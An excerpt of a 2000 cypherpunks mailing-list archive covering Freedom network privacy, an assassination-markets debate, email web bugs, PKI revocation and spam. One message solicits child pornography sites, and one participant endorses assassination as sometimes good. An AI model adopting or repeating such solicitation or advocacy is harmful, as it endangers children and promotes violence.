revealed to litigant or law enforcement, based on the user's system ID; or enough information is released to allow violation (1). 4. Personal information given to one entity is shared with another entity contrary to statute or contract. 5. Activity at several different websites is aggregated to form profile of interests or purchasing patterns, which is sold or combined with information from violation of (4). 6. Operator of a machine sharing a network with client machine uses packet sniffer to trap/analyze/store client's cleartext data. 7. Operator of machine which handles user's data (like mailserver, router, etc) uses system access to trap/analyze/store client's cleartext data. 8. User's system retains state regarding online activities (web browsing data stored in cache, 'recent sites' lists; incoming and outgoing emails stored) which is revealed through unanticipated use of user's system by another person. Different end users will give each of those modalities a different likelihood of occurrence, and weight them differently by the damage potential - but I think they're all much more likely than more esoteric attacks like network-based traffic analysis. I would be pretty excited about a system which fixed all or many of the above exposures, even if it were vulnerable to more sophisticated attacks - there are apparently a few people on the cpunks list who merit full-time surveillance, but I think most of us (and most of the people we're likely to recommend privacy systems to) need better protection and support for security against basic attacks before we need even meager protection against sophisticated attacks. > These two things mean that there are more people using freedom 1.x > browsing than freedom 1.x mail. So you aren't going to see an > accurate portrayal of user base from email alone. That's a good point. I haven't been able to think of a good way to measure the adoption rate of Freedom 1.x "in the wild" - my next best guess was to comb over my own webserver's logfiles, to see if the Freedom proxies introduce any evidence of their presence. Is that possible? > Some negative experience with it's workings? Could you elaborate? I experienced (twice) a failure in my Windows 98 network stack after installing the Freedom client - it apparently replaced/modified/removed some DLL component which was important to 32-bit Winsock connections, which meant that Eudora and web browsers stopped working. I wasn't able to get a good answer from tech support, apparently because of the problems with the 1.x reply blocks. Last time I mentioned this I got a nice note from someone in the Freedom support department who promised to help me if I end up running Windows again; after the second installation got trashed, I gave up on Windows, and am in no hurry to go back. In both cases, I was unable after considerable effort to recreate a working network stack, and ended up reinstalling Windows and all of my apps. I don't know if it was my peculiar configuration (which wasn't wildly peculiar, but I did run a lot of software, including the Norton Win32 firewall thing) or Windows lameness or [..], so I'm not ready to say that Freedom is broken - but I know that it exceeded my personal time alloted to monkeying with it, and I didn't do well enough with it to feel good about recommending it to people who are less technically inclined than I am. > My gut feel is that email would be a popular app for pseudonymity. > Opinions solicited of course, but I personally was usually more > interested in pseudonymous or anonymous mail. It does actually matter > if you use the web to look up things you're writing about and you're > trying to be strongly anonymous, but typically I haven't been that > paranoid. Same here - it's actually not so hard to get some measure of web anonymity, if you're willing to the free ones like LPWA. Still, web anonymizers are going to be more interesting as more people get fixed IP addresses for their DSL or cable modems. I didn't give web tracking a lot of thought before, because my dialup IP's were at least weakly nondeterministic and not very correlated; but people with fixed IP's have more to worry about. > This isn't a re-framing, it's phase II, and it's been planned since > day one. Austin has been talking about being a privacy broker between > users and companies for years, it was part of the grand plan for > "total world domination" since the early days. Probably some have > heard him speak about it at conferences over the last couple of years. I've heard him say some about this, but didn't link it to the privacy consulting, exactly - what I wonder about with this is where ZKS' loyalties will appear to be. Consumers probably want to see their privacy software vendor as "on their side"; but commercial interests working on data collection are probably going to want to work with people who will help them advance their own goals, sometimes at the price of others' privacy. The closest parallel I can see is to environmental groups, who have in some cases endorsed certain corporations or certain practices as "green" or "environmentally friendly", and who have subsequently lost stature among some of their members and peers as having "sold out". I don't know if it will work well to be perceived as serving two masters - even if the corporate interests pay lip service to "protecting our customers' privacy". > The section of the FAQ that covers the questions you're asking is: > > http://www.freedom.net/faq/index.html?r=6#11 > > The short answer is no, no, and very. Well, that sounds good - and I appreciate the pointer to the FAQ - but I am not sure the answer is so easy. Let's say that I believe that a Freedom user has defamed me, and I sue them, and my attorney issues a subpoena to Freedom to get their reply block(s); and then my attorney subpoenas the operators of the machines which hold the keys which decrypt the reply blocks .. don't they get my email address? The "Freedom 1.0 Security Issues and Analysis" whitepaper at http://www.freedom.net/info/freedompapers/Freedom-Security.pdf seems to agree that this attack works, in sections 2 and 4.5. Are there plans to fix this? I gather that 2.x will eliminate reply blocks - will it also eliminate this vulnerability? The legal analysis behind that security analysis deserves some updating - in particular, a warrant isn't necessary to get at information held by others, just a subpoena, and all it takes to get a subpoena is filing a lawsuit, as has been demonstrated by any number of aggrieved companies ridiculed on the Yahoo message boards. > I'd just like to make these two comment commitments which I'll reveal > later when certain projects are announced to demonstrate that they > were planned for some time. > > b26ecfce97bc6c090585a254a297ba5143280cce commit > a47d3b46da014002b34d02c3a0524a3209c3c6ae commit2 Well, that's something to look forward to. -- Greg Broiles gbroiles at netbox.com PO Box 897 Oakland CA 94604 From info at jab.com Wed Nov 22 15:52:31 2000 From: info at jab.com (info at jab.com) Date: 22 Nov 2000 23:52:31 -0000 Subject: CDR: Thank you for contacting us In-Reply-To: Message-ID: <20001122235231.4972.qmail@server1.hypermart.net> Your email was received by jab.com and has been routed to me. We will be in touch with you soon if you would like to talk to us about our shopping or consulting services. If you do not have any business with us, then you are typing in the wrong domain name. You should check the address and try again. We have found it necessary to respond because of the volume of misdirected mail we have been receiving. If you are sending unsolicited email to us, we request that you cease and desist and immediately remove this domain from your spam list. Thanks again. owner at jab.com From info at jab.com Wed Nov 22 16:08:52 2000 From: info at jab.com (info at jab.com) Date: 23 Nov 2000 00:08:52 -0000 Subject: CDR: Thank you for contacting us In-Reply-To: Message-ID: <20001123000852.16147.qmail@server1.hypermart.net> Your email was received by jab.com and has been routed to me. We will be in touch with you soon if you would like to talk to us about our shopping or consulting services. If you do not have any business with us, then you are typing in the wrong domain name. You should check the address and try again. We have found it necessary to respond because of the volume of misdirected mail we have been receiving. If you are sending unsolicited email to us, we request that you cease and desist and immediately remove this domain from your spam list. Thanks again. owner at jab.com From landon at best.com Thu Nov 23 00:23:28 2000 From: landon at best.com (landon dyer) Date: Thu, 23 Nov 2000 00:23:28 -0800 Subject: CDR: Re: powerline In-Reply-To: References: Message-ID: <5.0.2.1.2.20001123002016.02359d38@shell9.ba.best.com> >At 2:16 AM +0000 11/23/00, Ahmad Saufi wrote: >>hi, can u inform me about accessing internet via power line technology, >>if u have any news or info about it,please send/inform it to me. >>tq Dear Officer Gordon, You can find bomb recipies in any public ... Oh. Damn. Wrong kind of idiot troll. Never mind. :-) -landon (re-lurking) From mardee at flash.net Thu Nov 23 00:25:03 2000 From: mardee at flash.net (mardee) Date: Thu, 23 Nov 2000 00:25:03 -0800 Subject: CDR: greencard Message-ID: <01e101c05527$22e9b140$5832ff3f@flashnet> Is it possible to enter USA without a greencard?? Greetings, Marjan -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 522 bytes Desc: not available URL: From marjan11 at hotmail.com Thu Nov 23 01:07:27 2000 From: marjan11 at hotmail.com (Marjan) Date: Thu, 23 Nov 2000 01:07:27 -0800 Subject: No subject Message-ID: -------------------------------------------------------------------------------- a.. To: cypherpunks at toad.com b.. Subject: How to enter the US without a visa? c.. From: jamesd at echeque.com d.. Date: Tue, 26 Mar 1996 22:31:10 -0800 e.. Sender: owner-cypherpunks at toad.com -------------------------------------------------------------------------------- This is somewhat off topic for cypherpunks, but alt.forgery is dead, so cypherpunks is probably the nearest group. Suppose (hypothetically) an American resident cypherpunk had a hypothetical friend who is most unlikely to obtain an American visa. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 1135 bytes Desc: not available URL: From info at jab.com Wed Nov 22 17:20:18 2000 From: info at jab.com (info at jab.com) Date: 23 Nov 2000 01:20:18 -0000 Subject: CDR: Thank you for contacting us In-Reply-To: <003401c054e9$d6342a70$05d3ae95@zh8qw> References: Message-ID: <20001123012018.16214.qmail@server1.hypermart.net> Your email was received by jab.com and has been routed to me. We will be in touch with you soon if you would like to talk to us about our shopping or consulting services. If you do not have any business with us, then you are typing in the wrong domain name. You should check the address and try again. We have found it necessary to respond because of the volume of misdirected mail we have been receiving. If you are sending unsolicited email to us, we request that you cease and desist and immediately remove this domain from your spam list. Thanks again. owner at jab.com From honig at sprynet.com Wed Nov 22 23:03:06 2000 From: honig at sprynet.com (David Honig) Date: Thu, 23 Nov 2000 02:03:06 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: References: <3.0.6.32.20001122091513.007da7f0@pop.sprynet.com> Message-ID: <3.0.6.32.20001122225914.007a2800@pop.sprynet.com> At 03:11 PM 11/22/00 -0500, Alan Olsen wrote: >On Wed, 22 Nov 2000, David Honig wrote: >> Correct, except that you haven't grasped that it will be impossible >> to trace anything to anyone. > >*Except* the hosting server. Legal "whack-a-mole" games will commence soon >after discovery. (Or they will just yank the entries out of the root DNS >servers or screw with the routing tables on the backbone.) These are engineering problems, and I'll handwave the term "distributed" for now. >> To see this, you need to imagine truly anonymous payment schemes >> and truly anonymous information publishing. > >The host of the site is the only one with his ass left hanging out. When I wrote "truly anonymous" I meant those systems where no one's ass is endangered. If there's an ass to fry its not anonymous. >> Bell's observation is simply: if you have these two (cash & freedom of >> speech), look at what one could build. And the social implications thereof. > >I disagree. I don't believe Jim really was willing to consider the social >implications of his scheme. > >He seemed to think that the only target of this would be the government. Sure, it would be entirely limited by cost, as is everything traded in such a future. I think the argument is that anyone who pissed off a lot of people would be culled more quickly than others, and civil servants tend to be in that category. For instance, an obnoxious neighbor offends a dozen people. A politician who passes laws restricting freedom offends many orders of magnitude more. Assassination won't get cheaper because the detection hazards remain in an AP future. >And what about those people who have lots of money and little or no >personal ethics? They go into politics, which Mr. Bell has addressed. >Say that you have a company whos rival has a bunch of >engineers that you want. They won't work for you, so you have them done >in. (Or maybe the prosecutors in a big anti-trust trial.) Nice Gibson effect there. There's a bit of a problem with obvious motive, that mass-offenders don't present. In fact, since AP says that everyone will have 'means' and 'opportunity' the only barrier is sufficient motivation. One could fear that motivation alone might be enough to convict in future courts. You know, a number of Intel engineers die, and AMD execs are nearly-automatically jailed. Still, AP is an observation about what is possible. It doesn't have to be pleasant. >Free and open assassination markets are a messy thing. True, some good >would come out of them. A whole bunch of bad would come out of them as >well. You could say the same about gunpowder or Napster... or any tech whose components appear in the memepool at the same time.. yielding ideas which *will* be used, *orthogonal* to whether they are *good* or *fair*.. >Just because you can do something, does not mean that you should. Alfred Nobel spent the rest of his life getting over his guilt about stabilizing nitro. He shouldn't have. Realizing that something is possible --or even advocating it-- is not the same as doing wrong with it. WRT AP, assasination is obviously a good thing at times. From juicy at melontraffickers.com Wed Nov 22 23:03:06 2000 From: juicy at melontraffickers.com (A. Melon) Date: Thu, 23 Nov 2000 02:03:06 -0500 Subject: CDR: Software to Track E-Mail Raises Privacy Concerns Message-ID: NYT Article By AMY HARMON It was during a recent job search that Donald Bell gave in to the temptation to bug his own e-mail. Mr. Bell, 55, had e-mailed dozens of r�sum�s to prospective employers and received scant response. Naturally he wondered: was he being rejected, or had his messages gone unread? Anyone who has been left hanging knows it is the sort of nagging question that is rarely answered. But thanks to a furtive application of a feature common to the latest e-mail programs, Mr. Bell was able to learn, undetected, that the intended recipients were indeed opening his messages. With a service he found on the Internet, he could even tell precisely when a recipient read his e-mail messages and if the message was sent on to anyone else. "It feels a little naughty, because you can't do this with postal mail," said Mr. Bell, who has since started his own company in San Francisco and sometimes uses the e-mail service to check whether colleagues forward messages that he considers confidential. "But e-mail is a different animal. You have to just reach into your heart and decide what you're going to do." Mr. Bell is not alone in taking advantage of new e-mail software that makes certain kinds of monitoring easy and nearly imperceptible. At a time when many Internet users have come to grips with advertisers' tracking their anonymous trail of clicks across the World Wide Web, the frontier of the electronic privacy wars is shifting to the more personal realm of the e-mail "in" box. Marketing companies now regularly keep tabs on which prospective customers open their e-mail solicitations, and at what time of day, arguing that consumers benefit because the information is used to devise more personalized promotions. Individuals who have used e-mail tracking services say they feel entitled to monitor their own correspondence in a medium where it is so easily passed along or ignored. But privacy advocates contend that such practices open a new window of surveillance on a traditionally private sphere of communications. They compare it to having someone who leaves a message on your answering machine � a telemarketer, say, or your mother � alerted the moment you listen to it. More troubling, they say, is that the same technology can be used to match a recipient's e-mail address with previously anonymous records of the Web sites visited from that person's computer. Connecting the data collected through files known as cookies with an e-mail address, the privacy advocates argue, will be irresistible to marketers seeking to identify the buying habits and personal tastes of individual consumers. The linked databases, they say, could also be consulted by law enforcement agencies, insurance companies, employers and others who would need only an e-mail address to look up a record of an individual's activities on the Web. "You can buy 50,000 addresses of people who subscribe to The New Yorker," said Richard M. Smith, chief technology officer of the Privacy Foundation. "But you don't know what articles they're reading in it, or what books they've bought or what medical problems they've been researching lately. That's very much a possibility within this technology." The technology in question is seemingly innocuous: the ability of the latest e-mail programs to send and display images. E-mail senders use the feature, based on the Web's computer language, to create colorful messages known as HTML mail. But many also use it to embed tiny images that are invisible to the recipients. Marketers call them pixel tags and say they are used to gauge the success of e-mail campaigns. Privacy advocates prefer a more ominous name � Web bugs. The instant someone opens an e-mail message that contains instructions to display a graphic file, his or her computer automatically fetches the image from a specified location on the Internet. By adding a unique identifying code to those instructions, a sender can record when a particular recipient retrieves the image, and, thus, when the e-mail message is opened. Subsequent retrieval of the image can tell the sender how often the message is reopened, and sometimes whether it has been forwarded (though not the precise forwarding address). Direct marketers, the most frequent users of the technique, say it is akin to the standard practice among Internet advertisers of tracking which banners Web surfers click on. "I don't see any privacy issues there because the data is secure and never sold," said William Park, chief executive of Digital Impact, an e- mail marketing company that has designed campaigns for dozens of clients. "From the marketing perspective, if you're not opening that e- mail it might be we're sending it on the wrong day of the week, or the subject line is really boring, or the subject line is really cryptic." The emergence of HTML mail may well make reading e-mail messages more like visiting a Web site, with all the attendant privacy risks. But for many Internet users, such risks may seem more acceptable on the Web than they do in their "in" box. Sophisticated Internet users know that when they click on a Web advertisement they are probably exposing themselves to scrutiny, and that it is possible to reject the files that record such behavior. But few are aware of the tracking capability of HTML mail. And while some e-mail programs, like Microsoft Outlook and Eudora, give users the option of screening images out, others, like America Online 6.0 and Web-based Hotmail do not. Some recipients of e-mail newsletters say they do not mind if the sender knows when they open a message, particularly if the aim is to alert them to a sale or a new product. But others argue that it violates their right to communicate, or not, without being observed. And particularly in a country where postal mailboxes are protected by federal law, the notion that reading e-mail messages is no longer a private act may prove disconcerting. "We would shudder if regular letters were implanted with secret signals that alerted their senders when they were opened," said Jeffrey Rosen, author of "The Unwanted Gaze: The Destruction of Privacy in America" (Random House, 2000). "It seems to invade both the privacy of the home and in some sense the privacy of the mind." Still, the practice is becoming more common. About 60 percent of e- mail users have software that can read HTML mail, according to the online research firm Jupiter Media Metrix, a number expected to grow significantly as America Online users install version 6.0, the first update to include the feature, released last month. As advertising on Web sites proves increasingly ineffective, many companies like Eddie Bauer and Borders are relying more heavily on e-mail solicitations whose value lies in part in the ability to track recipient response. How many subscribers actually open e-mail has also become an important measurement by which e-mail newsletter companies like Lifeminders sell advertising. Companies that send unsolicited bulk e-mail use tracking to increase the value of their address lists by weeding out those who never open their messages. And individuals can use Postel Services, the Korean company whose service Mr. Bell used to learn the fate of his job applications. Messages routed through its servers have tiny graphic files appended before being sent on. When the recipient opens the message, Postel is alerted and in turn alerts the sender. Soobok Lee, the company's founder, said about 30,000 people had used the service since its introduction in May, in addition to several companies that had purchased licenses to track all of their correspondence. The first 30 messages a month are free, after which Postel charges 2 cents a message. But whatever the utility or etiquette involved in monitoring the opening of a single e-mail message, it is the potential for that act to open a door to far more personal information that some find most unsettling. The main object of concern is advertising companies like DoubleClick, Engage and 24/7 Media that already track the Web travels of tens of millions of Internet users, anonymously, by way of cookies. The first time someone visits a site where DoubleClick places advertisements, for instance, the company deposits an identifying code � No. 1234, say � on the visitor's computer. After that, every time the computer with cookie No. 1234 visits one of the several thousand sites that contract with DoubleClick, the company records the visit. DoubleClick and others use the information gleaned from cookies to choose which advertisement from the hundreds of clients they represent is most suited to an individual's tastes. They may know, for instance, that No. 1234 has recently visited sites related to quitting smoking, sport utility vehicles and the Green Party � but they have generally had no way of knowing who No. 1234 is. The opportunity to identify the person behind the cookie comes when one of the advertising firms sends HTML mail to a consumer on behalf of a client, tagged with a unique identifier to track when it is opened. When the recipient opens such a message, the cookie code is exposed to the sender's server computer, which can compare it with those stored in its own database. At that moment, No. 1234 could be revealed as joe at computer.com. After drawing scrutiny this year from the Federal Trade Commission, the major advertisers have vowed to refrain from linking personally identifiable information to anonymously collected data without permission from the consumer. But privacy advocates say consumers may consent unwittingly, and they note that voluntary privacy policies are easily modified. Another practice, which involves using e-mail as a kind of Trojan horse to deliver a cookie file, recently prompted the Michigan attorney general's office to warn that it would sue one Web site, Evite, under the state's Consumer Protection Act unless it began to inform consumers. Party organizers use Evite, a San Francisco-based online invitation service, to send e-mail HTML invitations. In addition to collecting the official R.S.V.P.'s, Evite is able to tell the organizer who opened the mail without responding, and who did not open it. Those who open the invitation receive a cookie from Evite, which would not otherwise be possible unless they visited its Web site. Privacy advocates speculate that the company could "rent"the cookie and the e-mail address it is associated with to other sites. Evite's chief executive, Josh Silverman, declined to be interviewed, citing continuing negotiations with the Michigan attorney general. He said in a statement that the cookies Evite delivered were not linked to addresses. But Nick Ragouzis, a technically savvy business consultant in San Francisco who discovered Evite's invisible pixel in an invitation he received recently, said that alone was enough to make him feel his privacy had been invaded. "I don't really care that they know I opened this particular message," Mr. Ragouzis said. "But they never asked me. And there would be other messages that I would care about. I feel I should be asked." Mr. Ragouzis said he told the host of the party, Jad Duwaik, to refrain from sending him future Evite invitations and asked that he stop using the company's services altogether. But Mr. Duwaik, who organizes networking events for entrepreneurs, said the information provided by Evite about how many of the invitees open the messge helped him gauge interest in his parties. "It's something I feel uncomfortable with as a consumer," Mr. Duwaik said. "But as an organizer it's just too useful to give up." From a_saufi at hotmail.com Wed Nov 22 18:16:14 2000 From: a_saufi at hotmail.com (Ahmad Saufi) Date: Thu, 23 Nov 2000 02:16:14 -0000 Subject: CDR: powerline Message-ID: hi, can u inform me about accessing internet via power line technology, if u have any news or info about it,please send/inform it to me. tq _____________________________________________________________________________________ Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com From ssyreeni at cc.helsinki.fi Wed Nov 22 23:33:48 2000 From: ssyreeni at cc.helsinki.fi (Sampo A Syreeni) Date: Thu, 23 Nov 2000 02:33:48 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: Message-ID: On Wed, 22 Nov 2000, Tim May wrote: >>[Snip on a service provider's butt hanging out...] > >Someone offering some prize, or some payoff, or some lottery, need >not be in an identifiable, traceable location. Somehow it seemed to me that this was all about a big brother type of state, where provision of anonymity services would hardly go unpunished. Bear argued, more or less, that if AP should ever come true, the courts would let the end justify the means. The viewpoint is not entirely consistent with the assumptions behind AP. >Once decoupled from a DNS or address, and motivated by reputation, >expectation, and other Bayesian issues, then the CP Server can itself >post anonymously. If anonymity is available. AP assumes that. I'm not entirely sure Bear did. >>The host of the site is the only one with his ass left hanging out. > >There is no need to have any such site. Think Mojo. Think BlackNet. >Think peer-to-peer. Multiple hosts. What's the difference besides the number of Men needed to take them *all* down? Of course, given anonymity, everything you say makes perfect sense. Sampo Syreeni , aka decoy, student/math/Helsinki university From www.murrchp at earthlink.net Thu Nov 23 07:33:52 2000 From: www.murrchp at earthlink.net (Charlene) Date: Thu, 23 Nov 2000 07:33:52 -0800 Subject: CDR: Goy Any Good Kid Porn sites Message-ID: <3A1D38DF.AEDA2826@earthlink.net> I wanna see if u had any good free Kid porn sites-REPLY TO chrisbrigg at yahoo.com thanks From mnorton at cavern.uark.edu Thu Nov 23 06:40:04 2000 From: mnorton at cavern.uark.edu (Mac Norton) Date: Thu, 23 Nov 2000 08:40:04 -0600 (CST) Subject: CDR: Re: Goy Any Good Kid Porn sites In-Reply-To: <3A1D38DF.AEDA2826@earthlink.net> Message-ID: We're all Jewish here. Go away. Mac N On Thu, 23 Nov 2000, Charlene wrote: > I wanna see if u had any good free Kid porn sites-REPLY TO > chrisbrigg at yahoo.com > thanks > > From directmarketing at netzero.com Thu Nov 23 08:52:17 2000 From: directmarketing at netzero.com (Income Opportunity) Date: Thu, 23 Nov 2000 08:52:17 -0800 Subject: CDR: Earn $235 - $760 Or More Weekly At Home Guaranteed! Message-ID: <200011231700.JAA25809@cyberpass.net> Earn $235 - $760 Or More Weekly Home Workers Needed Nationwide Hundreds of companies are currently looking for telecommuters. There is no experience needed and you can start right away. This is NOT your average get-rich-quick program. In fact, none of the companies require any special fees to get started. Many offer free training. Start earning money in your spare time. You set the hours, you decide how much you want to make. Email home4work at earthlink.net with "Work At Home" in the subject heading for complete details. Best Wishes Home Workers Directory P.S. Opportunity available only to U.S. Residents over the age of 18. 3VABW2E5QW From 183admin at mail.ru Wed Nov 22 21:57:03 2000 From: 183admin at mail.ru (Ivan) Date: Thu, 23 Nov 2000 08:57:03 +0300 Subject: CDR: ^phdhweqjhe `dpeq`... Message-ID: <200011230557.VAA29490@toad.com> Óâàæàåìûå Äàìû è Ãîñïîäà! Íàø ñåðâåð ïðåäëàãàåò Âàì Þðèäè÷åñêèå àäðåñà. Àäðåñà ïðåäíàçíà÷åíû äëÿ ðåãèñòðàöèè ïðåäïðèÿòèé â ãîðîäå Ìîñêâå. Íàøè ñïèñêè ïîñòîÿííî ïîïîëíÿþòñÿ íó è êîíå÷íî æå óáûâàþ. Äàæå ðàáîòà íà ïðÿìóþ ñ ñîáñòâåííèêàìè íå âñåãäà 100% ãàðàíòèÿ. Âîò ïî÷åìó ìû äàåì ãàðàíòèþ íà àäðåñà êóïëåííûå ó íàñ. Óñëîâíî ãîâîðÿ, ñðîêîì íà 45 äíåé, â ñëó÷àå èñòå÷åíèÿ ýòîãî ñðîêà ìû âñå ðàâíî ðàññìàòðèâàåì âîïðîñ êîìïåíñàöèè ïîòåðü.  ãàðàíòèþ âõîäèò: 1. Âîçâðàò äåíåã. 2. Îáìåí íà äðóãîé àäðåñ. 3. Ðåøåíèå âîïðîñà ïðîõîæäåíèÿ (åñëè åñòü òàêàÿ âîçìîæíîñòü). Àäðåñà, èìåþùèåñÿ â íàëè÷èè: 9 - ã. Ìîñêâà, ßêîâîàïîñòàëüñêèé ïåð., ä. 11/13, ñòð.1 - ? - ñîáñòâåííèê 9 - 109147, ã. Ìîñêâà, óë. Ìàðñèñòñêàÿ, ä. 20, ñòð.8 - ? - ñîáñòâåííèê 10 - 123056, ã. Ìîñêâà, óë. Á. Ãðóçèíñêàÿ, ä.60, ñòð.1 - 130 - ñîáñòâåííèê 13 - ã. Ìîñêâà, Ïðèíèøíèêîâ ïåð., ä. 19à - 100 14 - ã. Ìîñêâà, óë. 3-ÿ ßìñêîãî ïîëÿ, ä. 18, ñòð.1 - 100 19 - 105484, ã. Ìîñêâà, óë. 16 Ïàðêîâàÿ, ä. 21, êîðï.1 - ? - ñîáñòâåííèê 20 - 111524, ã. Ìîñêâà, Ýëåêòðîäíàÿ óë., ä. 14, ñòð. 2. - 120 - ñîáñòâåííèê 21 - 109428, ã. Ìîñêâà, 1-é Êàçàíñêèé ïðîñåê, äîì 4à. - ? - ñîáñòâåííèê 21 - ã. Ìîñêâà, Ðÿçàíñêèé ïð-ò., ä. 4, ñòð. 4 - 100 22 - 111024, ã. Ìîñêâà, Ïåðîâñêèé ïðîåçä, ä. 2, ñòð.3 - 100 23 - ã. Ìîñêâà, óë. Ñàéêèíà, ä. 9/1 - 100 25 - 115533, ã. Ìîñêâà, óë. Âûñîêàÿ, ä. 3 - 140 - ñîáñòâåííèê 25 - 113114, ã. Ìîñêâà, óë. Äåðáåíåâñêàÿ, ä. 1/2, ñòð.8 - 110 37 - ã. Ìîñêâà, óë. Çàãîðüåâñêàÿ, ä.10, ñòð.2 - 100  ñëó÷àå èçìåíåíèÿ íàøåãî òåëåôîíà èëè àäðåñà Âû ìîæåòå çàéòè íà íàøó ñòðàíè÷êó è óçíàòü íóæíóþ, ñâåæóþ äëÿ Âàñ èíôîðìàöèþ. WWW: http://address095.bizlnd.com E-mail: address at over.ru Ãîðÿ÷àÿ ëèíèÿ: 798-1972 (ñ 10.00 äî 18.00). P.S. Ïðîñèì èçâèíåíèÿ çà òàê íàçûâàåìûé ñïàì. Åñëè äàííàÿ èíôîðìàöèÿ íå ïðåäñòàâëÿåò äëÿ Âàñ öåííîñòè, ïðèøëèòå íàì ïèñüìî íà admin_suport at usa.net ñ óêàçàíèåì Âàøèõ ïî÷òîâûõ ÿùèêîâ. From mscherling at xcert.com Thu Nov 23 09:24:51 2000 From: mscherling at xcert.com (Mark Scherling) Date: Thu, 23 Nov 2000 09:24:51 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... References: Message-ID: <3A1D52E3.7CE8638F@xcert.com> I would like to get further information as to why you don't think revocation does not work? I'll admit that in the case of the revocation of Sun's certificates, it was very apparent that the notification process was weak. The other piece, the browser checking of expired/revoked certificates is non-existent but if you properly set up your application, it "should" check the revocation status of both the CA certificate and the subscriber's certificate. Your thoughts? Bram Cohen wrote: > On Wed, 22 Nov 2000 Lynn.Wheeler at firstdata.com wrote: > > > the other scenerio that some certification agencies have expressed (i.e. > > licensing bureaus, bbb, consumer report, etc operations) is that in the online > > world ... that they would provide an online service .... rather than > > certificates designed for an offline world. > > Yes, it seems fairly well established that revocations just plain don't > work. > > Once again, the solution to the problems of offline operation appears to > be online operation. > > -Bram Cohen > > For help on using this list (especially unsubscribing), send a message to > "dcsb-request at reservoir.com" with one line of text: "help". -------------- next part -------------- A non-text attachment was scrubbed... Name: mscherling.vcf Type: text/x-vcard Size: 223 bytes Desc: Card for Mark Scherling URL: From bear at sonic.net Thu Nov 23 10:03:06 2000 From: bear at sonic.net (Ray Dillinger) Date: Thu, 23 Nov 2000 10:03:06 -0800 (PST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <200011222215.eAMMFEL10403@artifact.psychedelic.net> Message-ID: On Wed, 22 Nov 2000, Eric Cordian wrote: >The implications are that in a society where the government has not made >personal privacy and private communication illegal, you can't be an >asshole to countless millions of people without winding up with a price on >your head. The thing about money is, there's no property of it that says it takes a lot of people to have a lot of money. Think about the very early days of Linux, for example. It would have been worth several million to Bill Gates if Linus Torvalds had just suddenly "disappeared". Not because Linus was acting like an asshole to countless millions of people, but just because Linus was acting like an asshole to one person who had billions of dollars. And given the anonymity of the proposed assassination market, nobody would have known exactly whom to take revenge on when Linus got whacked. This is what free markets do; they reward people who use them efficiently with financial power on a scale that millions of ordinary people can't match even if they all work together. Now Bill G. has used every market he's ever dealt with efficiently, to increase Microsoft's Market share and shut out all alternatives. Why do you think he (or people like him) would be any less competent in the use of an assassination market? >Disputes with employees, and displeasure over Windows needing frequent >rebooting, really don't rise to this level of visceral discontent. "displeasure over windows rebooting" has gotten pretty visceral for me at times -- Two years ago, I spent a whole day poking hex codes into a BIOS to try to get back the contents of a crashed windows disk which contained all contacts and records for our company's first round of venture capitalization and our company's first major client. The stakes were well over a million and a half dollars. And yes, it was bad information management on our business developer's part, but we were only four guys at the time and didn't have corporate information policy going yet. You wanna bet, if fifty or eighty people a year find themselves in that position, and fail to get their info back, that at least twenty or thirty of them wouldn't put a grand or more on Bill's head? I got my files back, so I didn't have to deal with that. But these days I use Linux at home... I won't even *steal* windows software any more, running it is too much of a risk. Bear From bear at sonic.net Thu Nov 23 10:22:11 2000 From: bear at sonic.net (Ray Dillinger) Date: Thu, 23 Nov 2000 10:22:11 -0800 (PST) Subject: CDR: Re: greencard In-Reply-To: <01e101c05527$22e9b140$5832ff3f@flashnet> Message-ID: On Thu, 23 Nov 2000, mardee wrote: >Is it possible to enter USA without a greencard?? Yes. It's also possible to get caught by the INS and deported. Seriously, if you intend to live in the US for any length of time, your best method of getting in is to send resume's to lots of american companies. If you can get hired by someone in the US, it'll save you no end of hassles. Bear From Lynn.Wheeler at firstdata.com Thu Nov 23 11:17:10 2000 From: Lynn.Wheeler at firstdata.com (Lynn.Wheeler at firstdata.com) Date: Thu, 23 Nov 2000 11:17:10 -0800 Subject: CDR: Re: Public Key Infrastructure: An Artifact... Message-ID: <852569A0.0064CED7.00@lnsunr02.fl.firstdata.com> Basically cetificates are an implementation of R/O partial replicated distributed data that were intended to address availability of information in a predominately offline environment. In the SSL server certificates, distribution of CRLs tend to create a problem for consumers because they aren't likely to want to see 99.99999999999999999999% of the CRLs distributed and/or they aren't online at the time the CRLs are distributed (and/or if done via email would create a horrible spam issue ... every possible consumer in the world receiving email CRLs from every possile SSL server certificate issuing CA). The other solution is to go online and do real-time checks ... but doing real-time checks invalidates basic design decision trade-offs associated with choosing a R/O partial replicated distributed data implementation in the first place. A number of other efforts have looked at the trade-offs associated with large distributed data implementations and have made various different implementation decisions based on different criteria & requirements. Some of the partially replicated data implementations have gone to the trouble if 1) truely offline, R/O replicated data that has low change frequency, and possible adverse effects of dealing with stale data is non-existent or 2) support R/W partial replicated distributed data with various dictionary implemenations keeping track of the "current" R/W owner. However, in the case of both having R/O replicated distributed data and also requiring online access ... creates a situation where the R/O replicated distributed data implementation is redundant and superfulous (except in some scenerios where the packet of R/O replicated distributed data is significantly larger than the transaction to check on its staleness ... aka multi-megabyte documents might be an example). It isn't that you can't have perfect R/O replicated distributed data implementation if there is also concurrent real-time access to the original data ... but that usually invalidates the design decisions trade-offs that justified having a R/O replicated distributed data implemenation in the first place. The degree of redundancy and superfulous becomes more significant as outlined in the SSL server certificate case ... where 1) in large part SSL server certificates are justified to address integrity weaknesses in the domain name infrastructure, 2) SSL server certificate issuing agencies are dependent on the domain name infrastructure as the authoritative source associated with proofing information for issuing an SSL server certificate, 3) correcting integrity weaknesses in the domain name infrastructure (needed by the SSL server certrificate issuing agencies) by registering public keys with domains names, 4) said registered public keys can both a) eliminate integrity weaknesses justifying SSL server certificates and b) be distributed as part of domain name server real time request to the client ... which then can be used in a much more efficient SSL protocol implemenation. A possibly better phrase is that in a large number of cases revokation isn't practical w/o real-time access to the original data ... but real-time access to the original data obsoletes the need for revokation (by obsoleting the necessity for R/O partial data replication which might require revokation). The issue in many scenerios isn't that revokation can't work ... it can work if you have real time access to the original data ... which obsoletes the requirement for R/O partial data replication which in turn obsoletes the requirement for revoking 